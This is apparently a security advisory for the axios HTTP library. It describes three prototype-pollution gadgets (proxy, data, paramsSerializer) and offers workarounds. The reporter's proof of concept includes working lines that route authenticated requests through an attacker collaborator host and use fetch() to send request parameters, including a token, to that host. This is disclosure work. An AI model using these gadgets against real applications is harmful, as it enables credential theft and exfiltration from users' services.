Axios: Prototype pollution gadgets can alter axios request construction

Technical Details

lib/core/Axios.js constructs aliases for bodyless methods and copies data with (config || {}).data before config normalization. If Object.prototype.data is polluted, this inherited value becomes an own data property in the merged request config and is sent by the adapter.

lib/core/mergeConfig.js in 1.15.2+ returns a null-prototype config and uses hasOwnProp guards, which prevents normal high-level requests from inheriting polluted proxy and paramsSerializer values after merge. This is why those two reporter claims do not reproduce through normal axios.get() on 1.15.2 or 1.16.1.

The low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of config.proxy in the Node HTTP adapter and config.paramsSerializer in affected resolveConfig() versions can consume inherited polluted values.

Proof of Concept of Attack

import http from 'http';
import axios from 'axios';

const server = http.createServer((req, res) => {
  let body = '';

  req.on('data', chunk => {
    body += chunk;
  });

  req.on('end', () => {
    res.writeHead(200, {'content-type': 'application/json'});
    res.end(JSON.stringify({body, headers: req.headers}));
  });
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.data = 'INJECTED';

try {
  const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);

  console.log(res.data.body); // "INJECTED"
  console.log(res.data.headers['content-length']); // "8"
} finally {
  delete Object.prototype.data;
  await new Promise(resolve => server.close(resolve));
}

Expected result: a request body is sent even though the caller did not explicitly set config.data.

Workarounds

Avoid processing untrusted input with libraries or code paths that can pollute Object.prototype. As a defense-in-depth mitigation before an axios fix is available, explicitly pass data: undefined on bodyless method aliases when running in a process where prototype pollution is a concern.

Summary

Three prototype pollution read-side gadgets in axios bypass the own() hasOwnProp guard pattern, allowing a polluted Object.prototype to hijack outbound requests.

Details

The own() helper was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:

config.proxy at http.js:715 goes straight into setProxy(). A polluted Object.prototype.proxy reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.

(config || {}).data at Axios.js:248 covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.

config.paramsSerializer at resolveConfig.js:32 is three lines below the own() definition that was supposed to protect it. A polluted function onto Object.prototype.paramsSerializer gets called with the request params on every request that has query strings.

I read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use hasOwnProp guards. These three seem to predate or were missed by that coverage.

PoC

Ran against [email protected] on node:22-slim in Docker. Clean install, no other deps.

import axios from 'axios';

// gadget 1 - proxy
Object.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' };
await axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });
// check collaborator - request arrives with full path + auth header

// gadget 2 - data on bodyless methods
Object.prototype.data = '{"injected":true}';
await axios.get('https://api.example.com/items');
await axios.delete('https://api.example.com/items/1');
await axios.head('https://api.example.com/items');
// 3/4 methods send the polluted body

// gadget 3 - paramsSerializer
Object.prototype.paramsSerializer = (p) => {
  fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));
  return 'q=x';
};
await axios.get('https://api.example.com/search', { params: { token: 'secret' } });

Impact

Any app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or paramsSerializer directly.